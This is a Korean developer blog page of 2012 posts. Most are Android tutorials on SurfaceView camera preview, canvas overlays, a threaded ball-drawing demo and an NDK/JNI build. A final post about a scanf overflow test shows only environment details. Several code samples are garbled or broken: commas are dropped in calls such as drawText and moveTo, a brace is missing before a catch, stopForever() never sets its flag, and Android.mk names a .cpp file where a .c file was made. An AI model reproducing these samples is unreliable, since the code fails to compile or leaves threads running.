2012. 7. 9. 15:01

강좌 작성환경
SDK Version : Android SDK 1.6, release 2
ADT Version : 0.9.5

추후 SDK업데이트로 인해 글의 내용과 최신 SDK 내용간 차이가 있을 수 있습니다.






카메라를 이용하는 것에 대해 알아보기 전에, 카메라를 이용하면 필수로 사용하게 되는 카메라 프리뷰(Preview)를 표시할 때 사용하는 View인 SurfaceView에 대해 먼저 알아보도록 하겠습니다.

SurfaceView? 그게 뭐야?

SufraceView라는 이름에서 알 수 있듯이, TextView, ImageView처럼 컨텐츠를 표시할 수 있는 View 중 하나입니다. 하지만 이 SurfaceView는 다른 View들과는 달리 직접 SurfaceView가 컨텐츠를 표시하지 않습니다. 이건 좀 나중에 알아보기로 하고, 왜 하필이면 SurfaceView를 쓰는 걸까요?

일반적인 View는 화면에 뷰를 표시하는 연산과 기타 연산, 사용자와의 상호작용 처리 등이 모두 하나의 쓰레드에서 처리됩니다. 이것을 가장 잘 확인할 수 있는 예가 바로 ANR(Application Not Responding)입니다. ANR은 어플리케이션이 5초 이상 동작을 멈췄을 때, 조금 더 자세히 말하자면 GUI업데이트가 5초이상 멈췄을 때 발생하는데, 실제로 가끔씩 몇몇 어플리케이션에서 연산이 늦어지면 GUI 업데이트가 늦어지며 ANR이 발생하는 것을 볼 수 있습니다. 즉, GUI 업데이트와 다른 연산이 같은 쓰레드 내에서 처리되기에 이런 현상이 발생하는것이죠.

그런데, 우리가 처리해야할 것은 카메라 프리뷰, 즉 실시간으로 화상을 카메라로부터 받아서 1초에 몇십프레임 이상의 속도로 화면을 업데이트해야 하는 동작입니다. 그렇기에 만약 SurfaceView를 쓰지 않으면 뷰를 업데이트하는데 쓰레드의 자원을 모두 써서 어플리케이션의 정상적인 동작을 보장하기 어렵죠.

그래서 등장한 것이 바로 SurfaceView입니다. SurfaceView는 화면 업데이트를 백그라운드 쓰레드로 수행하여 어플리케이션의 자원을 잠식하지 않고 원활하게 뷰를 업데이트해줍니다. 뿐만 아니라 SurfaceView는 OpenGL을 통한 가속이 지원되어 원활한 3D그래픽 표현도 가능합니다. (GLSurfaceView)


SurfaceView의 구조

ImageView나 TextView는 뷰 자체가 바로 컨텐츠를 표시하지만, SurfaceView는 조금 복잡한 구조를 가지고 있습니다.
SurfaceView 자체는 하나의 "틀" 역할만 하고, 실제로 컨텐츠가 표시되는 곳은 SurfaceView 내의 Surface 객체입니다. 


위의 그림에서 알 수 있듯이, SurfaceHolder객체가 실제 Surface에 접근하여 화면을 처리해주는 구조를 가지고 있습니다. SurfaceHolder라는 이름 그대로, Surface 객체를 잡고(Hold) 관리해주는 것이라 보면 됩니다.

그럼, 이제 본격적으로 코드를 보면서 진행해보도록 하겠습니다. 아래의 코드는 API Demos의 CameraPreview 코드입니다.
우선 SurfaceView 부분부터 보도록 하겠습니다.


01.class Preview extends SurfaceView implements SurfaceHolder.Callback {
02.SurfaceHolder mHolder;
03. 
04.Preview(Context context) {
05.super(context);
06. 
07.// SurfaceHolder.Callback을 설정함으로써 Surface가 생성/소멸되었음을
08.// 알 수 있습니다.
09.mHolder = getHolder();
10.mHolder.addCallback(this);
11.mHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
12.}
13. 
14.public void surfaceCreated(SurfaceHolder holder) {
15. 
16.}
17. 
18.public void surfaceDestroyed(SurfaceHolder holder) {
19. 
20.}
21. 
22.public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {
23. 
24.}
25. 
26.}

SurfaceView를 사용하기 위해서는 SurfaceView 객체를 직접 사용하는 것이 아니라 SurfaceView를 상속하며, SurfaceHolder.Callback을 구현하는 클래스를 생성해야 합니다.  생성자 부분을 보도록 하죠.

01.class Preview extends SurfaceView implements SurfaceHolder.Callback {
02.SurfaceHolder mHolder; // 1
03. 
04.Preview(Context context) {
05.super(context);
06. 
07.// SurfaceHolder.Callback을 설정함으로써 Surface가 생성/소멸되었음을
08.// 알 수 있습니다.
09.mHolder = getHolder(); // 2
10.mHolder.addCallback(this); // 3
11.mHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
12.}

우선 클래스의 멤버로 SurfaceHolder 객체인 mHolder 객체를 가지고 있는 것을 확인할 수 있습니다. 이 객체를 통해 실제로 컨텐츠가 표시되는 영역인 Surface를 관리할 수 있습니다. (1)

그 다음, mHolder에 getHolder()메소드를 통해 현재 SurfaceView의 SurfaceHolder 인스턴스를 연결해주고 있는 것을 확인할 수 있습니다. 이로서, mHolder객체를 통해 이 SurfaceView의 Surface에 접근할 수 있게 되었습니다. (2)

다음은 콜백(Callback)을 설정하는 모습입니다. 이 과정은 SurfaceHolder와 SurfaceView를 연결시켜주는 과정입니다. 이로써 Surface가 변경됨을 SurfaceHolder(mHolder)를 거쳐 최종적으로 SurfaceView에서도 알 수 있게 되었습니다. (3)

그 다음은 SurfaceView의 유형을 설정해주는데, 위의 옵션은 버퍼가 없이 화면을 표시할 때 사용합니다. 카메라 프리뷰는 별도의 버퍼가 없어도 되니 이 옵션을 사용합니다.

그 다음으로 SurfaceView.Callback에서 구현하는 메소드들을 확인할 수 있습니다.

01.public void surfaceCreated(SurfaceHolder holder) {
02. 
03.}
04. 
05.public void surfaceDestroyed(SurfaceHolder holder) {
06. 
07.}
08. 
09.public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {
10. 
11.}
12. 
13.}

위의 메소드들은 마치 액티비티의 생애주기와 비슷한 형태를 하고 있습니다. 실제로, SurfaceView 자체가 3D 그래픽 등 자원을 많이 사용하기에 사용하지 않을 때 (화면에서 보이지 않을 때) 적절한 처리를 하는 것이 매우 중요하므로 위의 메소드에서 그 작업을 처리해주게 됩니다.

그럼 여기까지 SufraceView에 대한 기본적인 것들에 대해 알아보았으니 다음 글에서는 실제로 Camera 객체를 얻어와 Preview를 표시하는 것까지 알아보도록 하겠습니다. :)


강좌 작성환경
SDK Version : Android SDK 1.6, release 2
ADT Version : 0.9.5

추후 SDK업데이트로 인해 글의 내용과 최신 SDK 내용간 차이가 있을 수 있습니다.

지난 글에 이어서 이번 글에서는 카메라 프리뷰를 SurfaceView에 표시하는 방법에 대해 알아보도록 하겠습니다.
카메라 프리뷰 화면이 우리가 만든 SurfaceView에 표시되어야 하므로, SurfaceView를 완전하게 구현해 주어야 합니다.
아래는 우리가 만든 SurfaceView를 상속한 클래스, Preview 클래스의 전체 코드입니다.


01.class Preview extends SurfaceView implements SurfaceHolder.Callback {
02.SurfaceHolder mHolder;
03.Camera mCamera;
04. 
05.Preview(Context context) {
06.super(context);
07. 
08.// SurfaceHolder.Callback을 설정함으로써 Surface가 생성/소멸되었음을
09.// 알 수 있습니다.
10.mHolder = getHolder();
11.mHolder.addCallback(this);
12.mHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
13.}
14. 
15.public void surfaceCreated(SurfaceHolder holder) {
16.// Surface가 생성되었다면, 카메라의 인스턴스를 받아온 후 카메라의
17.// Preview 를 표시할 위치를 설정합니다.
18.mCamera = Camera.open();
19.try {
20.mCamera.setPreviewDisplay(holder);
21.catch (IOException exception) {
22.mCamera.release();
23.mCamera = null;
24.// TODO: add more exception handling logic here
25.}
26.}
27. 
28.public void surfaceDestroyed(SurfaceHolder holder) {
29.// 다른 화면으로 돌아가면, Surface가 소멸됩니다. 따라서 카메라의 Preview도
30.// 중지해야 합니다. 카메라는 공유할 수 있는 자원이 아니기에, 사용하지 않을
31.// 경우 -액티비티가 일시정지 상태가 된 경우 등 - 자원을 반환해야합니다.
32.mCamera.stopPreview();
33.mCamera = null;
34.}
35. 
36.public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {
37.// 표시할 영역의 크기를 알았으므로 해당 크기로 Preview를 시작합니다.
38.Camera.Parameters parameters = mCamera.getParameters();
39.parameters.setPreviewSize(w, h);
40.mCamera.setParameters(parameters);
41.mCamera.startPreview();
42.}
43. 
44.}

이전 글에서는 아직 surfaceCreated, surfaceDestroyed, surfaceChanged 메소드가 구현되어있지 않았는데, 여기에서 이 메소드들까지 구현되어 있는 것을 확인할 수 있습니다. 하나하나씩 차근차근 살펴보도록 하겠습니다.

1.class Preview extends SurfaceView implements SurfaceHolder.Callback {
2.SurfaceHolder mHolder;
3.Camera mCamera; // Camera객체 추가

우선, SurfaceView에 카메라에서 받은 영상을 표시하기 위해 Camera객체가 추가된 것을 확인할 수 있습니다.

01.public void surfaceCreated(SurfaceHolder holder) {
02.// Surface가 생성되었다면, 카메라의 인스턴스를 받아온 후 카메라의
03.// Preview 를 표시할 위치를 설정합니다.
04.mCamera = Camera.open();
05.try {
06.mCamera.setPreviewDisplay(holder);
07.catch (IOException exception) {
08.mCamera.release();
09.mCamera = null;
10.// TODO: add more exception handling logic here
11.}
12.}
그 다음, surfaceCreated 메소드의 구현부입니다.
마치 액티비티의 생애주기 메소드 중 하나인 onCreate(Bundle)의 형태와 유사합니다. 이 메소드를 구현함으로써 SurfaceView가 생성되었을 때, 즉 "화면에 표시" 될 때 해야 할 동작을 처리할 수 있습니다.

여기에서는 카메라 객체를 받아와 카메라로부터 영상을 받을 수 있도록 초기화해주는 동작을 수행하고 있습니다. (Camera.open()) 그 다음, setPreviewDisplay(holder)메소드를 통해 카메라로부터 받은 프리뷰 영상을 어디에 표시해줄지 지정하고 있습니다.

앞의 글에서 SurfaceView는 SurfaceView 자체가 내용을 표시하는 것이 아니라 내부의 SurfaceHolder를 통해 최종적으로는 Surface라는 객체 위에 그 내용을 표시한다고 하였는데, 위의 경우는 아래와 같이 카메라의 영상이 처리된다고 볼 수 있습니다.


그 다음을 한번 보도록 하죠. 예외처리 부분이군요.

1.catch (IOException exception) {
2.mCamera.release();
3.mCamera = null;
4.// TODO: add more exception handling logic here
5.}

오류가 발생해서 프리뷰 화면을 제데로 표시하지 못했다면, release() 메소드를 사용하여 카메라의 자원을 다시 반환하는 것을 확인할 수 있습니다. 카메라는 여러 곳에서 공유할 수 있는 자원이 아니기에 카메라 객체의 사용이 끝났다면 위와 같이 release() 메소드를 사용하여 자원을 반환해야 합니다. 그렇지 않으면 다른 문제가 발생할 수 있습니다. :(

1.public void surfaceDestroyed(SurfaceHolder holder) {
2.// 다른 화면으로 돌아가면, Surface가 소멸됩니다. 따라서 카메라의 Preview도
3.// 중지해야 합니다. 카메라는 공유할 수 있는 자원이 아니기에, 사용하지 않을
4.// 경우 -액티비티가 일시정지 상태가 된 경우 등 - 자원을 반환해야합니다.
5.mCamera.stopPreview();
6.mCamera = null;
7.}

그 다음, surfaceDestroyed 메소드 구현부입니다. 이 메소드는 SurfaceView가 더이상 화면에 표시되지 않을 때 호출됩니다. 일반적인 View는 액티비티가 일시정지 상태가 된 경우에도 계속 화면에 그 내용을 표시하지만, SurfaceVIew의 경우 표시하는 내용이 다른 뷰에 비해 복잡하기에 굳이 액티비티가 비활성 상태일때 그 내용을 표시할 이유가 없겠죠. 

따라서, stopPreview() 메소드를 사용하여 카메라의 프리뷰 영상을 표시하는 것을 중단하고, 카메라 객체를 소멸시킵니다.

1.public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {
2.// 표시할 영역의 크기를 알았으므로 해당 크기로 Preview를 시작합니다.
3.Camera.Parameters parameters = mCamera.getParameters(); // (1)
4.parameters.setPreviewSize(w, h); // (2)
5.mCamera.setParameters(parameters); // (3)
6.mCamera.startPreview();
7.}

다음은 surfaceChanged메소드입니다. 이 메소드는 surfaceCreated()메소드 호출 이후에 호출되는 메소드로, Surface의 크기에 따라 실질적으로 어떻게 내용을 표시할지를 처리해주는 메소드입니다.

여기에서는 카메라의 여러 설정값들을 담고 있는 parameters를 받아온 후(1), 프리뷰의 크기를 지정합니다.(2) 그 후, setParameters()에 방금 카메라 프리뷰 크기를 수정한 parameter 객체를 인자로 넘겨줌으로써 카메라 객체에서 프리뷰 영상을 표시할 영역의 크기를 설정해주게 됩니다. (3)

이 과정이 모두 끝났다면, startPreview() 메소드를 통해 최종적으로 카메라 프리뷰 영상을 표시해주게 됩니다.

여기까지 해서 SurfaceView 부분의 구현이 모두 끝났습니다. 실질적으로 카메라의 영상을 처리하는 부분은 여기에서 끝났으므로, 남은 것들은 액티비티를 구성하고, 이 뷰의 객체를 생성한 후 액티비티의 화면으로 표시해주는 과정이 남았습니다. 
액티비티 구현을 보도록 하죠.

01.public class CameraPreview extends Activity {   
02.private Preview mPreview;
03. 
04.@Override
05.protected void onCreate(Bundle savedInstanceState) {
06.super.onCreate(savedInstanceState);
07. 
08.// Hide the window title.
09.requestWindowFeature(Window.FEATURE_NO_TITLE);
10. 
11.// Create our Preview view and set it as the content of our activity.
12.mPreview = new Preview(this);
13.setContentView(mPreview);
14.}
15. 
16.}
다른 특이한 것들은 별로 없고, 액티비티의 이름을 표시해주는 타이틀바를 표시하지 않기 위해 requestWindowFeature(Window.FEATURE_NO_TITLE) 를 사용하는 것을 확인할 수 있습니다.

자 이제 거의 다 끝났습니다. 카메라를 사용하기 위해서는 권한이 필요하므로, 메니페스트 파일에 권한을 추가합니다.


위와 같이 메니페스트 파일의 Permission 탭으로 이동한 후, Add..버튼을 누릅니다.


Uses Permission을 선택한 후, OK 버튼을 클릭합니다.


새로 Uses Permission 항목에 카메라 사용 권한인 android.permission.CAMERA 를 선택해주면 권한 추가가 완료됩니다.

그리고, 메니페스트 파일을 열어 수동으로 <uses-feature android:name="android.hardware.camera"/> 를 추가합니다.

 
이 기능은 SDK버전을 선언하는 것과 비슷하게 카메라가 없는 장치에서는 아예 어플리케이션이 설치가 되지 않도록 하는 옵션입니다. 안드로이드를 사용하는 장치가 한두가지가 아니므로 이런 식으로 각 장치의 특성에 맞도록 적절히 조치를 해 주는 것이죠.

마지막으로, 액티비티를 landscape 모드로 표시하기 위해 메니페스트 파일을 열어 Application 탭으로 간후,


Screen orientation을 landscape로 바꾸어줍니다. 이렇게 하면 이 액티비티는 항상 landscape 모드로 표시되게 됩니다.


이 과정이 모두 끝났다면, 어플리케이션을 실행시켜봅시다. 카메라 미리보기가 잘 표시되는 것을 확인할 수 있습니다 :)

Posted by k1rha
2012. 7. 9. 13:53

[출처 : http://golee07.tistory.com/entry/Android-SurfaceView-%EC%9C%84%EC%97%90-Canvas-%EA%B7%B8%EB%A6%AC%EA%B8%B0 ] 




SurfaceView에서 작동하는 Camera Preview위에 어떠한 그림을 그리기 위해서는 OnDraw를 오버라이드하는 방법이 아니라 아래와 같이 그려주는 View를 Activity에 추가시켜 줘야합니다. 아래와 같이 addContentView를 호출해주시면 됩니다.


COPY TO CLIPBOARD | DOWNLOAD | RAW | EMBED | REPORT ABUSE

  1. public class TestCameraOverlay extends Activity {
  2.     /** Called when the activity is first created. */
  3.     @Override
  4.     public void onCreate(Bundle savedInstanceState) {
  5.         super.onCreate(savedInstanceState);
  6.         requestWindowFeature(Window.FEATURE_NO_TITLE);
  7.         Preview mPreview = new Preview(this);
  8.         DrawOnTop mDraw = new DrawOnTop(this);
  9.         setContentView(mPreview);
  10.         addContentView(mDraw, new LayoutParams
  11. (LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT));
  12.     }
  13. }

그림을 그리는 View를 상속받은 DrawTop 클래스는 아래와 같이 OnDraw를 오버라이드하여 Canvas를 그려줄 수 있습니다. 저는 Path를 이용하여 삼각형을 그려봤습니다.


COPY TO CLIPBOARD
 | DOWNLOAD | RAW | EMBED | REPORT ABUSE
  1.  
  2. public class DrawOnTop extends View{
  3.        
  4.         public DrawOnTop(Context context) {
  5.                 super(context);
  6.         }
  7.  
  8.         @Override
  9.         protected void onDraw(Canvas canvas) {
  10.         // TODO Auto-generated method stub
  11.         Paint paint = new Paint();
  12.         paint.setStyle(Paint.Style.FILL);
  13.         paint.setColor(Color.BLACK);
  14.         paint.setTextSize(20);
  15.         canvas.drawText("Test Text"2020, paint);
  16.  
  17.         paint.setStyle(Paint.Style.STROKE);
  18.         paint.setStrokeWidth(2);
  19.         paint.setColor(Color.RED);
  20.        
  21.         Path path = new Path();
  22.         path.moveTo(5050);    
  23.         path.lineTo(1000);
  24.        
  25.         path.lineTo(15050);        
  26.         path.close();
  27.        
  28.         path.offset(110150);
  29.         canvas.drawPath(path, paint);
  30.        
  31.        
  32.                 super.onDraw(canvas);
  33.         }
  34. }



참조 : http://groups.google.com/group/android-developers/msg/6e1f453ac051f6bd?pli=1
참조 : http://stackoverflow.com/questions/3548666/overlay-images-onto-camera-preview-surfaceview

Posted by k1rha
2012. 7. 9. 13:36

[출처 : http://blog.naver.com/khs7515?Redirect=Log&logNo=20156449363 ] 


-----------------------------------------------------------------------------------------------------


이분 블로그를 앞으로 많이 이용할듯하다. 은근히 섬세한 설명에 이유까지 잘설명됨 


--------------------------------------------------------------------------------------------------


SurfaceView는 View보다 구조상 복잡하긴 하지만 성능이 더 좋기 때문에 게임, 또는 렌즈에 비치는 모습을 휴대폰 화면에

   빠르게 보여주기 위해서 사용된다.

# 예를 들어 설명하자면 100개의 물건을 옮기는데 View는 1개씩 옮겨다 놓지만 SurfaceView는 100개를 실어서 한번에 옮기는 형태랄까

# 화면이 갱신되는 동안 모든 객체의 정보를 담아두었다가 보여주는 것을 반복한다.

# 다음 예제는 임의로 움직이는 공을 무한하게 만들어서 SurfaceView가 어느 정도까지 버틸 수 있는가를 실험해보는 것이다.

# 모토로이 기준 1,500개정도가 되면 속도가 현저히 늦어지는 것을 볼 수 있었다.


******************************************** MainActivity.java *************************************************

package test.surfaceview.test2;


import android.app.Activity;

import android.os.Bundle;


public class MainActivity extends Activity {

    /** Called when the activity is first created. */

    @Override

    public void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(new GameView(this));

    }

}

******************************************** GameView.java *************************************************

package test.surfaceview.test2;


import android.content.Context;

import android.util.Log;

import android.view.SurfaceHolder;

import android.view.SurfaceView;


/*

 * [[ 빠른 그래픽 처리를 위한 SurfaceView 사용하기 ]]

 * 1. surfaceview 클래스를 상속받는다.

 * 2. surfaceHolder.callback인터페이스를 구현한다.

 * 3. 인터페이스의 추상메소드를 오버라이딩 한다.

 * 4. 백그라운드에서 작업할 스레드를 만들어서 SurfaceHolder 객체를 넘겨준다.

 * 5. 스레드에서는 surfaceholder 객체를 이용해서 그래픽 작업한다.

 * 6. 

 */


//생성자 1개짜리는 View만 쓸때. 2개짜리는 다른것도 쓸때

public class GameView extends SurfaceView implements SurfaceHolder.Callback{

Context context;

SurfaceHolder sHolder;

GameThread gameThread;

int width, height; //surfaceView가 차지하고 있는 실제 공간의 크기

public GameView(Context context) {

super(context);

this.context = context;

init(); //초기화

}

//초기화하는 메소드

public void init(){

//SurfaceHolder객체 얻어오기

sHolder = getHolder(); //surface가 holder를 가지고 있기 때문에 그냥 getholder하면 된다.

//콜백 객체 등록

sHolder.addCallback(this);

//스레드 객체 생성

gameThread = new GameThread(context, sHolder);

}

//뷰화면의 크기가 변화가 생겼을 때 호출되는 메소드(화면의 폭과 높이 정보가 인자로 들어온다.)

public void surfaceChanged(SurfaceHolder holder, int format, int width,

int height) {

Log.e("*********", "surfaceChanged()");

this.width = width;

this.height = height;

gameThread.setScreenSize(width, height);

Log.e("*********", "width:"+width+" / height:"+height);

}

//뷰가 처음 만들어 질 때 호출되는 메소드

public void surfaceCreated(SurfaceHolder holder) {

Log.e("*********", "surfaceCreated()");

try {

//스레드를 시작시킨다.

gameThread.start();

} catch (Exception e) {

Log.e("********", "스레드 시작 시 에러 발생! 스레드를 다시 생성");

//에러 발생하면 재시작하기

restartThread();

}

}

//뷰가 파괴될 때 호출되는 메소드

public void surfaceDestroyed(SurfaceHolder holder) {

Log.e("*********", "surfaceDestroyed()");

//에러 없이 스레드를 안전하게 종료하기 위해

boolean tryJoin = true;

gameThread.stopForever(); //종료시 에러를 잡기 위한 핵심!

while(tryJoin){//join이 성공할때까지

try{

gameThread.join();

tryJoin=false;

}catch (Exception e) {

}

}

}

//스레드를 재시작하는 메소드

public void restartThread(){

//스레드 정지

gameThread.stopForever();

//스레드 비우고

gameThread = null;

//객체 다시 생성

gameThread = new GameThread(context, sHolder);

//화면의 폭과 높이 전달

gameThread.setScreenSize(width, height);

//스레드 시작

gameThread.start();

}

//스레드 일시정지하는 메소드

public void pauseThread(){

gameThread.pauseNResume(true);

}//일시 정지된 스레드를 재시작하는 메소드

public void resumeThread(){

gameThread.pauseNResume(false);

}

}


******************************************** GameThread.java *************************************************

package test.surfaceview.test2;


import java.util.ArrayList;

import java.util.Random;


import android.content.Context;

import android.graphics.Canvas;

import android.graphics.Color;

import android.graphics.Paint;

import android.graphics.Paint.Style;

import android.util.Log;

import android.view.SurfaceHolder;


public class GameThread extends Thread{


Context context;

SurfaceHolder sHolder; //핵심개체이며 화면의 구성에 대한 정보를 모두 가지고 있다.

boolean isRun = true;

boolean isWait = false;

Canvas canvas; //화면에 무언가를 그리기 위한 캔바스 객체(sHolder가 가지고 있다)

int width, height;

//랜덤한 수를 발생시키기 위해

Random ran = new Random();

//색을 저장할 배열

Paint[] paint = new Paint[5];

//원 객체를 저장할 배열

ArrayList<Circle> list = new ArrayList<Circle>();

//생성자

public GameThread(Context context, SurfaceHolder sHolder){

this.context = context;

this.sHolder = sHolder;

//원을 그릴 색 만들어서 배열에 저장하기

initPaint();

}

//화면의 폭과 높이를 전달바든ㄴ다

public void setScreenSize(int width, int height){

this.width = width;

this.height = height;

Log.e("*********", "width:"+width+" / height:"+height);

}

//빠르게 돌아가는 스레드에서 메소드를 실행하거나 멤버필드가 교환되는 작업을 하면 

//스레드 작업이 깨질수있기 때문에 동기화가 필요하다.

//스레드의 일시정지 혹은 재시작 하는 메소드

public void pauseNResume(boolean isWait){

synchronized (this) {

this.isWait = isWait;

notify();

}

}

//스레드 완전 정지하는 메소드

public void stopForever(){

synchronized (this) {

this.isRun = isRun;

notify();

}

}

//스레드 본체인 run메소드에서 그리는 작업을 해준다.

@Override

public void run() {

while(isRun){ //isRun의 초기 값이 true 이므로 기본적으로 무한 루프이다.

//Canvas객체 얻어오기

canvas = sHolder.lockCanvas();//화면정보를 다 담을때까지 화면을 잠궈놓는다.

//화면에 그리는 작업을 한다.

try{

//동기화 블럭에서 작업을 해야한다.

  synchronized (sHolder) { //그리기위한 모든 작업을 하는 곳

  //canvas 객체를 이용해서 반복적인 그리기 작업을 한다.

  canvas.drawColor(Color.WHITE);

  //반복문을 돌면서 원을 그린다

  for(int i=0 ; i < list.size() ; i++){

  //해당 인덱스의 원객체를 얻어온다.

  Circle cir = list.get(i);

  canvas.drawCircle(cir.x, cir.y, //원의 위치

  5,  //반지름

  paint[cir.color]); //원의 색

  }

  canvas.drawText("공의수:"+list.size(), 0, 20, paint[0]);

  //원 만들기(10번 돌때 한번의 확률로 원을 만들기 위해)

  //if(ran.nextInt(5)==0)

  makeCircle();

  //원 움직이기

  moveCircle();

}

}finally{

if(canvas!=null)//실제로 화면을 그리는 곳(while을 돌면서 화면을 덧그리기 때문에 invalidate가 필요하지 않다)

//잠근 화면을 풀고 작업한canvas 객체를 전달해서 화면을 그린다.

sHolder.unlockCanvasAndPost(canvas);

}

//스레드를 일시 정지 하기 위해 

if(isWait){ //isWait의 초기값은 false 이다

try {

synchronized (this) {

wait(); //notify할때까지 기다린다.(일시정지)

}

} catch (Exception e) {}

}//if

}//while

}//run

//페인트 객체를 생성해서 배열에 담는 메소드

public void initPaint(){

//paint 객체 생성해서 배열에 담기

Paint p1 = new Paint();

p1.setColor(Color.DKGRAY);

p1.setStyle(Style.FILL); // 원을 채우도록 

Paint p2 = new Paint();

p2.setColor(Color.RED);

p2.setStyle(Style.FILL); // 원을 채우도록

Paint p3 = new Paint();

p3.setColor(Color.GREEN);

p3.setStyle(Style.FILL); // 원을 채우도록

Paint p4 = new Paint();

p4.setColor(Color.BLUE);

p4.setStyle(Style.FILL); // 원을 채우도록

Paint p5 = new Paint();

p5.setColor(Color.YELLOW);

p5.setStyle(Style.FILL); // 원을 채우도록

//배열에 담는다.

paint[0]=p1;

paint[1]=p2;

paint[2]=p3;

paint[3]=p4;

paint[4]=p5;

}

//circle 객체를 만드는 메소드

public void makeCircle(){

//원의 위치

int x = ran.nextInt(width); //화면의 폭 안의 랜덤한 x지점

int y = ran.nextInt(height); //화면의 높이 안의 랜덤한 y지점

//원의 초기 속도

int speedX = ran.nextInt(10)-5;

int speedY = ran.nextInt(10)-5;

//원의 색

int color = ran.nextInt(5);

//Circle 객체를 생성해서 배열에 담는다

Circle cir = new Circle(x, y, color, speedX, speedY);

list.add(cir);

}

//circle객체를 움직이는 메소드

public void moveCircle(){

//반복문 돌면서 원 객체 움직이기

for(Circle cir : list){

cir.x += cir.speedX;

cir.y += cir.speedY;

//화면을 벗어나지 못하도록 처리

if(cir.x <= 0 || cir.x >= width){

//속도의 부호를 바꾸어서 반대방향으로 움직인다.

cir.speedX *= -1;

//바뀐 속도로 한번 움직여 준다.

cir.x += cir.speedX;

}

if(cir.y <= 0 || cir.y >= height){

//속도의 부호를 바꾸어서 반대방향으로 움직인다.

cir.speedY *= -1;

//바뀐 속도로 한번 움직여 준다.

cir.y += cir.speedY;

}

}

}

}


******************************************** Circle.java *************************************************

package test.surfaceview.test2;


public class Circle {

int x, y;

int color;

int speedX, speedY; //속도

public Circle(int x, int y, int color, int speedX, int speedY) {

super();

this.x = x;

this.y = y;

this.color = color;

this.speedX = speedX;

this.speedY = speedY;

}


}

Posted by k1rha
2012. 7. 6. 00:43

[   ]

 

0. JDK, Android SDK, 이클립스 다운로드 설치

(다른 페이지 참조)

 

1. Android NDK 다운로드 설치

(http://developer.android.com/tools/sdk/ndk/index.html)

 

2. 시그윈(cygwin) 다운로드 설치 

(http://www.cygwin.com/)

devel 전부 체크하고 설치가 맘편하다. (edit vim 포함)

 

 

 

 

3. C/C++ 라이브러리 함수를 호출하는 안드로이드(JAVA) 프로젝트

 

사전 작업 

cygwin 안에 NDK 폴더에서  이클립스에서 New andorid project 만든다.

그리고 한번 실행해준다.

 

$pwd

 /home/k1rha/android-ndk-r8/

$cd smash //내가 만든 프로젝트 

 

 

$ NdkMethod.java // 자바파일 생성

(클래스 명명 규칙에 어긋나는 JNI-function 라는 이름같은 것도 오류를 뱉어 낸다. )

------------------------------------------------------------------------

public class NdkMethod {

     static{

          System.loadLibrary("NdkMethodLibrary");

     }

     public native int NDKTest(int a, int b);

}

-------------------------------------------------------------------------

 

$pwd

$/home/k1rha/android-ndk-r8/PROJECT/smash/bin/classes/

(반드시 classess 에서 명령어를 쳐준다 이유는 헤더를 만들때는 폴더를 들어가는게 아니라 패키지명을 .으로 입력해줘야 하기 때문이다.)

 

$javah edge.smash.NdkMethod //여기서는 폴더가 .으로 패키지를 이어준다.

 

 

 

아래와 같은 파일이 만들어져 있다.

---------------------------edge_smash_NdkMethod.h--------------------------------------

/* DO NOT EDIT THIS FILE - it is machine generated */

#include <jni.h>

/* Header for class edge_smash_NdkMethod */

 

#ifndef _Included_edge_smash_NdkMethod

#define _Included_edge_smash_NdkMethod

#ifdef __cplusplus

extern "C" {

#endif

/*

 * Class:     edge_smash_NdkMethod

 * Method:    NDKTest

 * Signature: (II)I

 */

JNIEXPORT jint JNICALL Java_edge_smash_NdkMethod_NDKTest

  (JNIEnv *, jobject, jint, jint);

 

#ifdef __cplusplus

}

#endif

#endif

 

 

--------------------------------------------------------------------------------

우리는 여기서 JNIEXPORT jint JNICALL Java_edge_smash_NdkMethod_NDKTest
  (JNIEnv *, jobject, jint, jint);
  사용할수 있다.

 

 

4. JNI C/C++ 라이브러리 만들기




 

 

-------------------------------- edge_smash_NdkMethod.c ---------------------------------------

#include "edge_smash_NdkMethod.h"

 

JNIEXPORT jint JNICALL Java_edge_smash_NdkMethod_NDKTest(JNIEnv * pEnv, jobject object, jint a, jint b){

 

             return a+b;

}

---------------------------------------------------------------------------------

4.3 시그윈에서 *.so 빌드하기

 

 

이두개의 파일을 프로젝트 jni 폴더를 만든뒤 집어넣는다.

 

 

$pwd 

/home/k1rha/android-nkd-r8/PROJECT/smash

 

$mkdir jni

$ls

edge_smash_NdkMethod.c edge_smash_NdkMethod.h 

 

여기서 파일 Android.mk 파일을 작성해서 넣어준다

 

------------------------------ Android.mk --------------------------------------------

 

LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_MODULE  := NdkMethodLibrary

LOCAL_SRC_FILES := edge_smash_NdkMethod.cpp

include $(BUILD_SHARED_LIBRARY)

 

--------------------------------------------------------------------------------------

 

생성되는 모듈이름

LOCAL_MODULE  := tjssm_ndktest_NdkMethod

소스파일 이름

LOCAL_SRC_FILES := tjssm_ndktest_NdkMethod.cpp

 

 

$ls

edge_smash_NdkMethod.c edge_smash_NdkMethod.h  Android.mk

 

 

$pwd 

/home/k1rha/android-nkd-r8/PROJECT/smash

$ndk-build

 

위와같이 하고나면 libs so 파일이 생긴다

 




 

5. 라이브러리와 안드로이드 프로젝트 합치고 실행하기

 

1.System.loadLibrary("JNItest"); 를 사용하여 so 파일을 로딩한다.

이때 생성된 so 파일에는 제일 앞에 lib가 붙지만 loadLibrary()에 적어줄대는 lib를 빼고 넣어야한다.

그냥 생성된 .h 파일의 이름과 동일하게 넣으면 된다.

 

 

 

 

 

 

 

위의 순서대로 진행하면된다

 

Posted by k1rha
2012. 7. 6. 00:43

Scanf 환경에서의 아주아주 simple한 오버플로우 테스트.



환경 

FEDORA 3

[root@Fedora_1stFloor test]# uname -a
Linux Fedora_1stFloor 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 i686 i686 i386 GNU/Linux
[root@Fedora_1stFloor test]# gcc v
gcc: v: No such file or directory
gcc: no input files
[root@Fedora_1stFloor test]# gcc -v
Reading specs from /usr/lib/gcc/i386-redhat-linux/3.4.2/specs
